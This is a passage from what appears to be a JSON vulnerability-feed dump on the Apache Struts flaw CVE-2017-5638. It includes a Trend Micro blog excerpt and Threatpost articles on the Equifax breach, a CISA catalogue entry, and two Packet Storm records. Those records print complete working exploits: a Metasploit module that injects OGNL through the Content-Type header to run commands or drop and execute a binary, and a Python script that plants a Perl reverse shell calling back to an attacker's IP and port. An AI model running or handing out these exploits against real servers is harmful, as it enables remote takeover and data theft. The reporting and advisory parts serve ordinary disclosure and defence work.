375](<https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201720180AB375>)). This landmark legislation takes a much needed step towards personal data protections in the state of California. While not [the driving factor](<https://www.nytimes.com/2018/05/13/business/california-data-privacy-ballot-measure.html>) for the legislation, the breach contributed to awareness of the need for such protections.\n\nThis protects Californian's in a similar manner to European's under GDPR. If either piece of legislation was in effect during the Equifax breach, the company [would have been looking at major fines](<https://www.darkreading.com/equifax-avoided-fines-but-what-if-/a/d-id/1332487?>).\n\n## What Now?\n\nDespite the initial uproar, very little has happened in wake of the Equifax breach. The creation of strict regulation in the EU had been underway for years. The initiative in California had already been underway when this breach happened.\n\nDespite the outrage, very little came of the breach outside of Equifax itself. They brought in new leadership and have tried to [shift the security culture](<https://www.wired.com/story/equifax-security-overhaul-year-after-breach/>), both solid steps. The [consent letter](<http://www.latimes.com/business/la-fi-equifax-settlement-20180627-story.html#>) signed will help ensure that Equifax continues to build a strong security culture but it doesn't impact any of the other agencies.\n\nIs this the future? As more and more companies move to monetize data and customer behaviours, a [lack of political will](<https://www.axios.com/after-equifaxs-mega-breach-nothing-changed-1536241622-baf8e0cf-d727-43db-b4d4-77c7599fff1e.html>) and a lack of consumer pressure means that **YOUR** data remains at risk.\n\nRegulation is always challenging but it's clear that the market isn't providing a solution as few of the affected individuals have a relationship with the companies holding the data. Your personal information is just that\u2026yours and very personal.\n\nIndividuals need the ability to hold organizations that put that information at risk accountable.\n\nThe post [Sound, Fury, And Nothing One Year After Equifax](<https://blog.trendmicro.com/sound-fury-and-nothing-one-year-after-equifax/>) appeared first on [](<https://blog.trendmicro.com>).", "cvss3": {}, "published": "2018-09-07T12:00:34", "type": "trendmicroblog", "title": "Sound, Fury, And Nothing One Year After Equifax", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-09-07T12:00:34", "id": "TRENDMICROBLOG:71F44A4A56FE1111907DD39C26B46152", "href": "https://blog.trendmicro.com/sound-fury-and-nothing-one-year-after-equifax/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "Apache Struts Jakarta Multipart parser allows for malicious file upload using the Content-Type value, leading to remote code execution.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Apache Struts Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2017-5638", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2017-03-15T01:15:35", "description": "", "cvss3": {}, "published": "2017-03-14T00:00:00", "type": "packetstorm", "title": "Apache Struts Jakarta Multipart Parser OGNL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T00:00:00", "id": "PACKETSTORM:141630", "href": "https://packetstormsecurity.com/files/141630/Apache-Struts-Jakarta-Multipart-Parser-OGNL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: http://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', \n'Description' => %q{ \nThis module exploits a remote code execution vunlerability in Apache Struts \nversion 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed \nvia http Content-Type header. \n \nNative payloads will be converted to executables and dropped in the \nserver's temp dir. If this fails, try a cmd/* payload, which won't \nhave to write to the disk. \n}, \n'Author' => [ \n'Nike.Zheng', # PoC \n'Nixawk', # Metasploit module \n'Chorder', # Metasploit module \n'egypt', # combining the above \n'Jeffrey Martin', # Java fu \n], \n'References' => [ \n['CVE', '2017-5638'], \n['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] \n], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Universal', { \n'Platform' => %w{ unix windows linux }, \n'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], \n}, \n], \n], \n'DisclosureDate' => 'Mar 07 2017', \n'DefaultTarget' => 0)) \n \nregister_options( \n[ \nOpt::RPORT(8080), \nOptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), \n] \n) \nregister_advanced_options( \n[ \nOptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) \n] \n) \n \n@data_header = \"X-#{rand_text_alpha(4)}\" \nend \n \ndef check \nvar_a = rand_text_alpha_lower(4) \n \nognl = \"\" \nognl << %q|(#os=@java.lang.System@getProperty('os.name')).| \nognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| \n \nbegin \nresp = send_struts_request(ognl) \nrescue Msf::Exploit::Failed \nreturn Exploit::CheckCode::Unknown \nend \n \nif resp && resp.code == 200 && resp.headers[var_a] \nvprint_good(\"Victim operating system: #{resp.headers[var_a]}\") \nExploit::CheckCode::Vulnerable \nelse \nExploit::CheckCode::Safe \nend \nend \n \ndef exploit \ncase payload.arch.first \n#when ARCH_JAVA \n# datastore['LHOST'] = nil \n# resp = send_payload(payload.encoded_jar) \nwhen ARCH_CMD \nresp = execute_command(payload.encoded) \nelse \nresp = send_payload(generate_payload_exe) \nend \n \nrequire'pp' \npp resp.headers if resp \nend \n \ndef send_struts_request(ognl, extra_header: '') \nuri = normalize_uri(datastore[\"TARGETURI\"]) \ncontent_type = \"%{(#_='multipart/form-data').\" \ncontent_type << \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\" \ncontent_type << \"(#_memberAccess?\" \ncontent_type << \"(#_memberAccess=#dm):\" \ncontent_type << \"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\" \ncontent_type << \"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\" \ncontent_type << \"(#ognlUtil.getExcludedPackageNames().clear()).\" \ncontent_type << \"(#ognlUtil.getExcludedClasses().clear()).\" \ncontent_type << \"(#context.setMemberAccess(#dm)))).\" \ncontent_type << ognl \ncontent_type << \"}\" \n \nheaders = { 'Content-Type' => content_type } \nif extra_header \nheaders[@data_header] = extra_header \nend \n \n#puts content_type.gsub(\").\", \").\\n\") \n#puts \n \nresp = send_request_cgi( \n'uri' => uri, \n'method' => datastore['HTTPMethod'], \n'headers' => headers \n) \n \nif resp && resp.code == 404 \nfail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') \nend \nresp \nend \n \ndef execute_command(cmd) \nognl = '' \nognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| \n \n# You can add headers to the server's response for debugging with this: \n#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| \n#ognl << %q|(#r.addHeader('decoded',#cmd)).| \n \nognl << %q|(#os=@java.lang.System@getProperty('os.name')).| \nognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).| \nognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).| \nognl << %q|(#p.redirectErrorStream(true)).| \nognl << %q|(#process=#p.start())| \n \nsend_struts_request(ognl, extra_header: cmd) \nend \n \ndef send_payload(exe) \n \nognl = \"\" \nognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).| \nognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).| \n#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).| \n#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).| \nognl << %q|(#f.setExecutable(true)).| \nognl << %q|(#f.deleteOnExit()).| \nognl << %q|(#fos=new java.io.FileOutputStream(#f)).| \n \n# Using stuff from the sun.* package here means it likely won't work on \n# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to \n# work and I don't see a better way of getting binary data onto the \n# system. =/ \nognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).| \nognl << %q|(#fos.write(#d)).| \nognl << %q|(#fos.close()).| \n \nognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| \nognl << %q|(#p.start()).| \nognl << %q|(#f.delete())| \n \nsend_struts_request(ognl, extra_header: [exe].pack(\"m\").delete(\"\\n\")) \nend \n \nend \n \n=begin \nDoesn't work: \n \nognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).| \nognl << %q|(#c=#cl.loadClass('metasploit.Payload')).| \nognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).| \nognl << %q|(#r.addHeader('meth',#m.toGenericString())).| \nognl << %q|(#m.invoke(null,null)).| \n \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899 \n#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed \n#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6 \n \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0 \n#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).| \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5 \n#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed \n#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884 \n \n=end \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/141630/struts2_content_type_ognl.rb.txt"}, {"lastseen": "2017-03-12T01:15:38", "description": "", "cvss3": {}, "published": "2017-03-10T00:00:00", "type": "packetstorm", "title": "Apache Struts 2 2.3.x / 2.5.x Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-10T00:00:00", "id": "PACKETSTORM:141576", "href": "https://packetstormsecurity.com/files/141576/Apache-Struts-2-2.3.x-2.5.x-Remote-Code-Execution.html", "sourceData": "`# CVE-2017-5638 \n# Apache Struts 2 Vulnerability Remote Code Execution \n# Reverse shell from target \n# Author: anarc0der - github.com/anarcoder \n# Tested with tomcat8 \n \n# Install tomcat8 \n# Deploy WAR file https://github.com/nixawk/labs/tree/master/CVE-2017-5638 \n \n# Ex: \n# Open: $ nc -lnvp 4444 \n# python2 struntsrce.py --target=http://localhost:8080/struts2_2.3.15.1-showcase/showcase.action --ip=127.0.0.1 --port=4444 \n \n\"\"\" \nUsage: \nstruntsrce.py --target=<arg> --ip=<arg> --port=<arg> \nstruntsrce.py --help \nstruntsrce.py --version \n \nOptions: \n-h --help Open help menu \n-v --version Show version \nRequired options: \n--target='url target' your target :) \n--ip='10.10.10.1' your ip \n--port=4444 open port for back connection \n \n\"\"\" \n \nimport urllib2 \nimport httplib \nimport os \nimport sys \nfrom docopt import docopt, DocoptExit \n \n \nclass CVE_2017_5638(): \n \ndef __init__(self, p_target, p_ip, p_port): \nself.target = p_target \nself.ip = p_ip \nself.port = p_port \nself.revshell = self.generate_revshell() \nself.payload = self.generate_payload() \nself.exploit() \n \ndef generate_revshell(self): \nrevshell = \"perl -e \\\\'use Socket;$i=\\\"{0}\\\";$p={1};\"\\ \n\"socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));\"\\ \n\"if(connect(S,sockaddr_in($p,inet_aton($i)))){{open\"\\ \n\"(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");\"\\ \n\"open(STDERR,\\\">&S\\\");exec(\\\"/bin/sh -i\\\");}};\\\\'\" \nreturn revshell.format(self.ip, self.port) \n \ndef generate_payload(self): \npayload = \"%{{(#_='multipart/form-data').\"\\ \n\"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\"\\ \n\"(#_memberAccess?\"\\ \n\"(#_memberAccess=#dm):\"\\ \n\"((#container=#context['com.opensymphony.xwork2.\"\\ \n\"ActionContext.container']).\"\\ \n\"(#ognlUtil=#container.getInstance(@com.opensymphony.\"\\ \n\"xwork2.ognl.OgnlUtil@class)).\"\\ \n\"(#ognlUtil.getExcludedPackageNames().clear()).\"\\ \n\"(#ognlUtil.getExcludedClasses().clear()).\"\\ \n\"(#context.setMemberAccess(#dm)))).\"\\ \n\"(#cmd='{0}').\"\\ \n\"(#iswin=(@java.lang.System@getProperty('os.name').\"\\ \n\"toLowerCase().contains('win'))).\"\\ \n\"(#cmds=(#iswin?{{'cmd.exe','/c',#cmd}}:\"\\ \n\"{{'/bin/bash','-c',#cmd}})).\"\\ \n\"(#p=new java.lang.ProcessBuilder(#cmds)).\"\\ \n\"(#p.redirectErrorStream(true)).(#process=#p.start()).\"\\ \n\"(#ros=(@org.apache.struts2.ServletActionContext@get\"\\ \n\"Response().getOutputStream())).\"\\ \n\"(@org.apache.commons.io.IOUtils@copy\"\\ \n\"(#process.getInputStream(),#ros)).(#ros.flush())}}\" \nreturn payload.format(self.revshell) \n \ndef exploit(self): \ntry: \n# Set proxy for debug request, just uncomment these lines \n# Change the proxy port \n \n#proxy = urllib2.ProxyHandler({'http': '127.0.0.1:8081'}) \n#opener = urllib2.build_opener(proxy) \n#urllib2.install_opener(opener) \n \nheaders = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64)' \n' AppleWebKit/537.36 (KHTML, like Gecko)' \n' Chrome/55.0.2883.87 Safari/537.36', \n'Content-Type': self.payload} \nxpl = urllib2.Request(self.target, headers=headers) \nbody = urllib2.urlopen(xpl).read() \nexcept httplib.IncompleteRead as b: \nbody = b.partial \nprint body \n \n \ndef main(): \ntry: \narguments = docopt(__doc__, version=\"Apache Strunts RCE Exploit\") \ntarget = arguments['--target'] \nip = arguments['--ip'] \nport = arguments['--port'] \nexcept DocoptExit as e: \nos.system('python struntsrce.py --help') \nsys.exit(1) \n \nCVE_2017_5638(target, ip, port) \n \n \nif __name__ == '__main__': \nmain() \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/141576/struntsrce.py.txt"}], "threatpost": [{"lastseen": "2018-10-06T22:53:59", "description": "Public attacks and scans looking for exposed Apache webservers have ramped up dramatically since Monday when a vulnerability in the Struts 2 web application framework was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-045>) and proof-of-concept exploit code was introduced into Metasploit.\n\nThe vulnerability, [CVE-2017-5638](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>), was already under attack in the wild prior to Monday\u2019s disclosure, but since then, the situation has worsened and experts fear it\u2019s going to linger for a while.\n\n\u201cThe second someone starts working on a [Metasploit module](<https://github.com/rapid7/metasploit-framework/issues/8064>), it\u2019s a ramp-up for rapid exploitation by a large number of people,\u201d said Craig Williams, senior technical leader for Cisco\u2019s Talos research outfit. \u201cWe\u2019re basically seeing a huge number of people continue to exploit the vulnerability. That\u2019s likely going to continue to increase. I think what we\u2019re also going to see is people going to try to scan for the vulnerability.\u201d\n\nThe flaw lives in the Jakarta Multipart parser upload function in Apache. It allows an attacker to easily make a maliciously crafted request (a malicious Content-Type value) to an Apache webserver and have it execute. Struts 2.3.5 to Struts 2.3.31 are affected as are Struts 2.5 to 2.5.10; admins are urged to upgrade immediately to [Struts 2.3.32](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32>) or [2.5.10.1](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1>).\n\nTalk of the vulnerability surfaced on Chinese forums, according to Vincente Motos, who posted an advisory on the [HackPlayers](<http://www.hackplayers.com/2017/03/exploit-rce-para-apache-struts-cve-2017-5638.html>) website. Motos said a notorious Apache Struts hacker known as Nike Zheng posted a public proof-of-concept exploit demonstrating the simplicity in which an attacker could inject operating system commands.\n\nThe attacks are particularly risky to anyone running their Apache webservers as root, which is not a suggested practice. Williams said it\u2019s unclear whether an attacker can benignly scan for vulnerable servers in order to determine the version and context under which Struts is running, whether as Apache or root, for example. But as with some older internet-wide bugs, there are a large number of scans happening.\n\n\u201c[Attacks] look like requests to a webserver with a malformed piece,\u201d Williams said. \u201cUnless you\u2019re looking for it, it\u2019s easy not to see the malformed content type.\u201d\n\nAn attacker, he said, would need to just modify one line depending on the operating system the target is running, Windows or Linux, and have it download a malicious binary from the web.\n\n\u201cUnfortunately, due to the nature of command-line injections like this, it\u2019s very easy to modify,\u201d Williams said. \u201cAnd that\u2019s why I think we\u2019re going to continue to see exploitation rise for the foreseeable future.\u201d\n\nThe risks are severe for an organization running an exposed Apache server if it\u2019s compromised.\n\n\u201cThe sky\u2019s the limit,\u201d Williams said. \u201cIf I\u2019m a bad guy, depending on what my game is, I can take over your webserver and use that to move laterally through your network. If I\u2019m super insidious, I can use that to look for your domain controller and if I can find a way to compromise your password hashes, say from the Linux server I compromised, I can possibly log in to your domain controller and use that to push malware to all your machines. I could ransom off your webserver, all kinds of terrible things.\u201d\n\nWilliams said [Cisco has observed](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) that the majority of public attacks feature a number of Linux bots used for DDoS attacks taking advantage of this vulnerability, along with an IRC bouncer, and a malware sample related to the bill gates botnet.\n\nWilliams cautioned as well that connected devices in the IoT space could also be a major concern, since Struts 2 likely runs there.\n\n\u201cI\u2019m going to guess there\u2019s a reasonable number of devices running it, and due to the nature of IoT, those aren\u2019t going to be patched any time soon. So this is going to be an issue for the foreseeable future.\u201d\n\nGiven the availability of patches and detection rules, it\u2019s likely that public attacks are going to be largely mitigated and as more detection rules surface, public exploits should be less useful to attackers.\n\n\u201cDue to the fact that it\u2019s relatively easy to go inside and modify an attack, it\u2019s going to be bad and it\u2019s going to plague us for some time,\u201d Williams said. \u201cGood news is that detecting it is not that difficult.\u201d\n", "cvss3": {}, "published": "2017-03-09T12:25:46", "type": "threatpost", "title": "Attacks Heating Up Against Apache Struts 2 Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T19:50:52", "id": "THREATPOST:1C2F8B65F8584E9BF67617A331A7B993", "href": "https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:27:47", "description": "Equifax said that an additional 2.4 million Americans have had their [personal data](<https://investor.equifax.com/news-and-events/news/2018/03-01-2018-140531340>) stolen as part of the company\u2019s massive 2017 data breach, including their names and some of their driver\u2019s license information.\n\nThe additional identified victims bring the total of those implicated in what has become the largest data breach of personal information in history to around 148 million people.\n\nThe consumer credit reporting agency on Thursday said that as part of an \u201congoing analysis\u201d it found that these newly identified victims\u2019 names and partial driver\u2019s license numbers were stolen by attackers. However, unlike the previous 145.5 million people who have been identified to date as impacted by the 2017 breach, the Social Security numbers of these additional victims were not impacted.\n\nAttackers were also unable to reach additional license details for this latest slew of impacted victims \u2013 including the state where their licenses were issued and the expiration dates.\n\n\u201cThis is not about newly discovered stolen data,\u201d Paulino do Rego Barros, Jr., interim chief executive officer of Equifax, said in a statement. \u201cIt\u2019s about sifting through the previously identified stolen data, analyzing other information in our databases that was not taken by the attackers, and making connections that enabled us to identify additional individuals.\u201d\n\nEquifax said the new victims were not previously identified because their Social Security numbers were not stolen together with their driver\u2019s license information.\n\n\u201cThe methodology used in the company\u2019s forensic examination of last year\u2019s cybersecurity incident leveraged Social Security Numbers (SSNs) and names as the key data elements to identify who was affected by the cyberattack,\u201d said the company in a statement. \u201cThis was in part because forensics experts had determined that the attackers were predominately focused on stealing SSNs.\u201d\n\nEquifax said it will notify the newly identified consumers directly by U.S. Postal mail, \u201cand will offer identity theft protection and credit file monitoring services at no cost to them,\u201d said the company.\n\nThe company did not respond to requests for further comment from Threatpost about its current ongoing analysis of the breach.\n\n**Ongoing Breach Disclosures**\n\nEquifax has been under public scrutiny since September, that\u2019s when it first disclosed the data breach after issuing a statement at the time that cybercriminals had exploited an unnamed \u201cU.S. website application vulnerability to gain access to certain files\u201d from May through July 2017. Equifax said it discovered the breach on July 29. The breach enabled criminals to access sensitive data like social security numbers, birth dates, and license numbers.\n\nLater, during Equifax\u2019s testimony in October before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection, it was revealed that Equifax was notified in March that the breach was tied to an unpatched [Apache Struts vulnerability, CVE-2017-5638](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>). It was established that while Equifax said it had requested the \u201capplicable personnel responsible\u201d to update the vulnerability it never was fixed.\n\n\u201cIt appears that the breach occurred because of both human error and technology failures,\u201d Richard Smith, Equifax CEO at the time, wrote in a [testimony](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) that was released at the hearing in October.\n\nMaking the breach worse was Equifax\u2019s further botched response to the breach.\n\nAfter the breach was revealed in September, the company\u2019s site was crushed with traffic from concerned customers that left the site unreachable. In a separate instance in October, the Equifax site came under fire for harboring [adware](<https://threatpost.com/equifax-takes-down-compromised-page-redirecting-to-adware-download/128406/>) in a third-party partner\u2019s Flash Player download.\n\nThe extent and scope of the breach also has been continually expanding since it was first disclosed in September. In October, after an analysis with security company Mandiant, the company said that an [additional](<https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/>) 2.5 million customers were also impacted on top of the 143 million the company initially said were affected.\n\nMeanwhile, in February, documents submitted by Equifax to the US Senate Banking Committee revealed that attackers also accessed taxpayers identification numbers, email addresses, and credit card expiration dates for certain customers.\n\n**Renewed Anger**\n\nThis latest slew of impacted customers has renewed anger against the company, with some demanding stricter legislation for data protection \u2013 such as the proposed Data Breach Prevention and Compensation Act, which would impose strict security-related fines on credit reporting agencies.\n\n> My office is continuing our investigation of [#Equifax](<https://twitter.com/hashtag/Equifax?src=hash&ref_src=twsrc%5Etfw>) so we can get to the bottom of how this disastrous data breach happened. \n> \n> We also need to change the law.\n> \n> \u2014 Eric Schneiderman (@AGSchneiderman) [March 1, 2018](<https://twitter.com/AGSchneiderman/status/969229077814108160?ref_src=twsrc%5Etfw>)\n\n> This is unacceptable. The California Department of Justice will continue to get to the bottom of this massive cybersecurity incident. We are committed to holding [#Equifax](<https://twitter.com/hashtag/Equifax?src=hash&ref_src=twsrc%5Etfw>) accountable to the fullest extent of the law. <https://t.co/fRPrUWcIyg>\n> \n> \u2014 Xavier Becerra (@AGBecerra) [March 1, 2018](<https://twitter.com/AGBecerra/status/969330796774359040?ref_src=twsrc%5Etfw>)\n\nEquifax, meanwhile, continues to remain under investigation by several federal and state agencies, including a probe by the Consumer Financial Protection Bureau.\n\nCustomers can see if their personal information has been breached by clicking on an \u201cAm I Impacted\u201d tool on Equifax\u2019s [website](<https://www.equifaxsecurity2017.com/>). The company also advised consumers to visit its web portal where they can review their account statements and credit reports, identify any unauthorized activity, and protect their personal information from attack.\n\nThe company handles data on more than 820 million customers and 91 million businesses worldwide.\n", "cvss3": {}, "published": "2018-03-02T15:12:57", "type": "threatpost", "title": "Equifax Says 2.4 Million More People Impacted By Massive 2017 Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2018-03-02T15:12:57", "id": "THREATPOST:AD5395CA5B3FD95FAD8E67B675D0AFCA", "href": "https://threatpost.com/equifax-adds-2-4-million-more-people-to-list-of-those-impacted-by-2017-breach/130209/", "cvss": {"score": 10.0, "vector": 